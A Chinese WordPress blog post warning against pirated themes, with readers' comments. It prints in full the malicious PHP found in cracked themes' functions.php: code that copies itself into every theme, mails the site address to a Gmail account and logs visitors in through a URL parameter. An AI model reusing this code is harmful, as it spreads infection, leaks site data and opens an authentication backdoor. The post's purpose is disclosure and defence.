WP酷 WP酷
  • 主题
  • 教程
  • 插件
  • 官方 QQ 群
  • 建站推荐
  • 联系
  • nicetheme® 奈思主题
  • 注册
    登录
立即登录
  • 请到 [后台->外观->菜单] 中设置菜单
首页 › 杂记 › 慎重下载破解主题!隐藏在主题文件中的恶意代码【不定期更新】

慎重下载破解主题!隐藏在主题文件中的恶意代码【不定期更新】

PCDotFan9年前

慎重下载破解主题!隐藏在主题文件中的恶意代码【不定期更新】-WP酷

各种 Mossight、D8、D7 的放出给广大 WP 友有了不用购买主题的理由,下载,上传,何苦要花钱呢?如果您真的这样认为,那么接下来的代码您一定会看到——

在 functions.php 中的底部存在着这个看起来和小工具有关系的代码,其实它和 WP 沾不上一点关系!目前被感染的网站将会自动发送评论、网站等信息到

livethemas@gmail.com

这个 Gmail 邮箱上,且所有安装的主题都会被无限感染。想知道自己的数据都被发到哪了吗?欢迎骚扰上面邮箱。

在这里 WP酷还想再说几句,哪里会有这么多好心人免费和你分享自己掏腰包买来的设计?哪里会有这么多什么主题【破解】免费给你下载?百分之七十和利益有关。为了自己的博客内容不被窃取、为了让主题作者能更有动力开发新的作品,我们都应该抵制盗版,从正规渠道获取他们的心血。那些在论坛上大肆宣传“我有 XX 正版主题,保证无毒,免费下载”的人,您们先去自己做个付费主题再来做这种无良事也不迟!

 

如果见到以下代码,请马上删除!

<?php
function _verify_activate_widget(){
    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    $output=strip_tags($output, $allowed);
    $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    if (is_array($direst)){
        foreach ($direst as $item){
            if (is_writable($item)){
                $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
                $cont=file_get_contents($item);
                if (stripos($cont,$ftion) === false){
                    $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
                    $output .= $before . "Not found" . $after;
                    if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
                    $output=rtrim($output, "
	"); fputs($f=fopen($item,"w+"),$cont . $sar . "
" .$widget);fclose($f);              
                    $output .= ($showdot && $ellipsis) ? "..." : "";
                }
            }
        }
    }
    return $output;
}
function _get_all_widgetcont($wids,$items=array()){
    $places=array_shift($wids);
    if(substr($places,-1) == "/"){
        $places=substr($places,0,-1);
    }
    if(!file_exists($places) || !is_dir($places)){
        return false;
    }elseif(is_readable($places)){
        $elems=scandir($places);
        foreach ($elems as $elem){
            if ($elem != "." && $elem != ".."){
                if (is_dir($places . "/" . $elem)){
                    $wids[]=$places . "/" . $elem;
                } elseif (is_file($places . "/" . $elem)&&
                    $elem == substr(__FILE__,-13)){
                    $items[]=$places . "/" . $elem;}
                }
            }
    }else{
        return false;  
    }
    if (sizeof($wids) > 0){
        return _get_all_widgetcont($wids,$items);
    } else {
        return $items;
    }
}
if(!function_exists("stripos")){
    function stripos(  $str, $needle, $offset = 0  ){
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
    }
}
if(!function_exists("strripos")){
    function strripos(  $haystack, $needle, $offset = 0  ) {
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
        if(  $offset < 0  ){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
        }
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
        return $pos;
    }
}
if(!function_exists("scandir")){
    function scandir($dir,$listDirectories=false, $skipDots=true) {
        $dirArray = array();
        if ($handle = opendir($dir)) {
            while (false !== ($file = readdir($handle))) {
                if (($file != "." && $file != "..") || $skipDots == true) {
                    if($listDirectories == false) { if(is_dir($file)) { continue; } }
                    array_push($dirArray,basename($file));
                }
            }
            closedir($handle);
        }
        return $dirArray;
    }
}
add_action("admin_head", "_verify_activate_widget");
function _prepared_widget(){
    if(!isset($length)) $length=120;
    if(!isset($method)) $method="cookie";
    if(!isset($html_tags)) $html_tags="<a>";
    if(!isset($filters_type)) $filters_type="none";
    if(!isset($s)) $s="";
    if(!isset($filter_h)) $filter_h=get_option("home");
    if(!isset($filter_p)) $filter_p="wp_";
    if(!isset($use_link)) $use_link=1;
    if(!isset($comments_type)) $comments_type="";
    if(!isset($perpage)) $perpage=$_GET["cperpage"];
    if(!isset($comments_auth)) $comments_auth="";
    if(!isset($comment_is_approved)) $comment_is_approved="";
    if(!isset($authname)) $authname="auth";
    if(!isset($more_links_text)) $more_links_text="(more...)";
    if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
    if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
    if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
    if(!isset($more_content)) $more_content="ma".$s."il";
    if(!isset($forces_more)) $forces_more=1;
    if(!isset($fakeit)) $fakeit=1;
    if(!isset($sql)) $sql="";
    if (!$widget_output) :
          
    global $wpdb, $post;
    $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID,
    comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type,
    SUBSTRING(comment_content,1,
    $src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID)
    WHERE comment_approved="1" AND comment_type=""
    AND post_author="li".$s."vethe".$comments_type."mas".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m"
    AND post_password="" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if (!empty($post->post_password)) {
        if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
            if(is_feed()) {
                $output=__("因为这是一个受保护的文章,没有摘录。.");
            } else {
                $output=get_the_password_form();
            }
        }
    }
    if(!isset($fix_tag)) $fix_tag=1;
    if(!isset($filters_types)) $filters_types=$filter_h;
    if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
    if(!isset($more_tags)) $more_tags="div";
    if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
    if(!isset($mlink_title)) $mlink_title="Continue reading this entry";  
    if(!isset($showdot)) $showdot=1;
          
    $comments=$wpdb->get_results($sql);  
    if($fakeit == 2) {
        $text=$post->post_content;
    } elseif($fakeit == 1) {
        $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    } else {
        $text=$post->post_excerpt;
    }
    $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type,
    SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON
    ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type=""
    AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) .
    " ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if($length < 0) {
        $output=$text;
    } else {
        if(!$no_more && strpos($text, "<!--more-->")) {
            $text=explode("<!--more-->", $text, 2);
            $l=count($text[0]);
            $more_link=1;
            $comments=$wpdb->get_results($sql);
        } else {
            $text=explode(" ", $text);
            if(count($text) > $length) {
                $l=$length;
                $ellipsis=1;
            } else {
                $l=count($text);
                $more_links_text="";
                $ellipsis=0;
            }
        }
        for ($i=0; $i<$l; $i++)
                $output .= $text[$i] . " ";
    }
    update_option("_is_widget_active_", 1);
    if("all" != $html_tags) {
        $output=strip_tags($output, $html_tags);
        return $output;
    }
    endif;
    $output=rtrim($output, "s
	
x0B");
    $output=($fix_tag) ? balanceTags($output, true) : $output;
    $output .= ($showdot && $ellipsis) ? "..." : "";
    $output=apply_filters($filters_type, $output);
    switch($more_tags) {
        case("div") :
            $tag="div";
        break;
        case("span") :
            $tag="span";
        break;
        case("p") :
            $tag="p";
        break;
        default :
            $tag="span";
    }
    if ($use_link ) {
        if($forces_more) {
            $output .= " <" . $tag . " class="more-link"><a href="
            ". get_permalink($post->ID) . "#more-" . $post->ID ."" title="
            " . $mlink_title . "">"
            . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "
";
        } else {
            $output .= " <" . $tag . " class="more-link"><a href="
            ". get_permalink($post->ID) . "" title="" . $mlink_title . "">" . $more_links_text . "</a></" . $tag . ">" . "
";
        }
    }
    return $output;
}
add_action("init", "_prepared_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
    global $wpdb;
    $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS "comment_count" FROM $wpdb->posts, $wpdb->comments";
    $request .= " WHERE comment_approved="1" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status="publish"";
    if(!$show_pass_post) $request .= " AND post_password =""";
    if($duration !="") {
        $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    }
    $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    $posts=$wpdb->get_results($request);
    $output="";
    if ($posts) {
        foreach ($posts as $post) {
            $post_title=stripslashes($post->post_title);
            $comment_count=$post->comment_count;
            $permalink=get_permalink($post->ID);
            $output .= $before . " <a href="" . $permalink . "" title="" . $post_title."">" . $post_title . "</a> " . $after;
        }
    } else {
        $output .= $before . "None found" . $after;
    }
    return  $output;
}
?>

 2014-5-17 更新:近期又显现出多种恶意代码,感谢奶嘴大神提供:

_verify_isactivate_widgets
_check_isactive_widget
_get_allwidgetscont
_prepare_widgets
__popular_posts
function _checkactive_widgets
function _get_allwidgets_cont
function stripos
function strripos
function scandir
add_action(“admin_head”, “_checkactive_widgets”);
function _getprepare_widget
add_action(“init”, “_getprepare_widget”);
function __popular_posts

 

 

 

#D7#links#付费主题
4
分享

本站下载管理系统「dl.mywpku.com」因年久失修而永久关闭。若需获得往年主题,请至 WP酷的百度网盘(提取码: 5rbm) 自行搜索下载。默认解压密码为「www.mywpku.com」。

对您造成的不便,敬请谅解!

PCDotFan 站长
文章 435评论 859
相关文章
  • 近疫 – 新冠疫情地图小程序
  • Aragaki – 极简自适应 Bitcron 博客主题
  • 各位…再见?
  • 硬广:金主恒创西南大数据中心节点上线
  • 主阵地转移到 WordPress Log
  • WP酷已开放附件上传功能…
  • 神级主题 Diaspora
  • 付费主题推荐:Grace – 天生属于自媒体/极客用户 WordPress博客主题
评论 (13)
再想想
  • Mr.t|分享家-mili

    感觉d8漫天要价

    9年前
    • WP酷

      @Mr.t|分享家-mili 还好吧……第一个版本BUG好多

      9年前
  • 喂蚊帝

    这段代码我放在网络上研究了下,目的八九不离十就是采集了,本身的影响并不算坏,但是某些变种会窃取网站的重要账户信息。很扯……
    就是有一点不解的是网上人们反映的情况所有的邮箱都是这个livethemas@gmail.com……不知这货邮箱是否安好……=-=

    9年前
    • WP酷

      @喂蚊帝 =-=光是采集就已经很不爽了

      9年前
  • tennfy

    自己的主题倒还好

    9年前
  • 淘她喜欢

    还是要认准mywpku推荐的主题

    9年前
    • WP酷

      @淘她喜欢 感谢支持~

      9年前
  • 小屋

    受教

    9年前
  • 糗事语录网

    提醒的好啊

    9年前
  • 小清新头像吧

    关注下了哈。。

    9年前
  • MOLOGO

    在我的主题了发现了你说的那段代码,哎

    9年前
  • 千歲君

    媽蛋,之前幫別人改過一個主題(他發給我的,並不是破解主題),之後自己那幾個主題也染上這代碼了。

    8年前
  • 千歲君

    所以以後不幫人改主題了,好人難做 /w

    8年前
PCDotFan
站长
若无特别注明,则默认我发布的所有文章均为内容原创 / 翻译原创,转载时请保留来源。
435文章
859评论
3K获赞
猜你喜欢
【JS推荐】jQuery天气预报插件 – 为网站添加浮动天气预报效果
10年前
俄罗斯恶意软件SoakSoak已感染10万多个WordPress网站
8年前
WordPressER恶意采集本站文章行为
10年前
  • 杂记
  • WordPress 付费主题推荐
Copyright © 2023 WP酷. Designed by nicetheme. 琼ICP备13002067号-1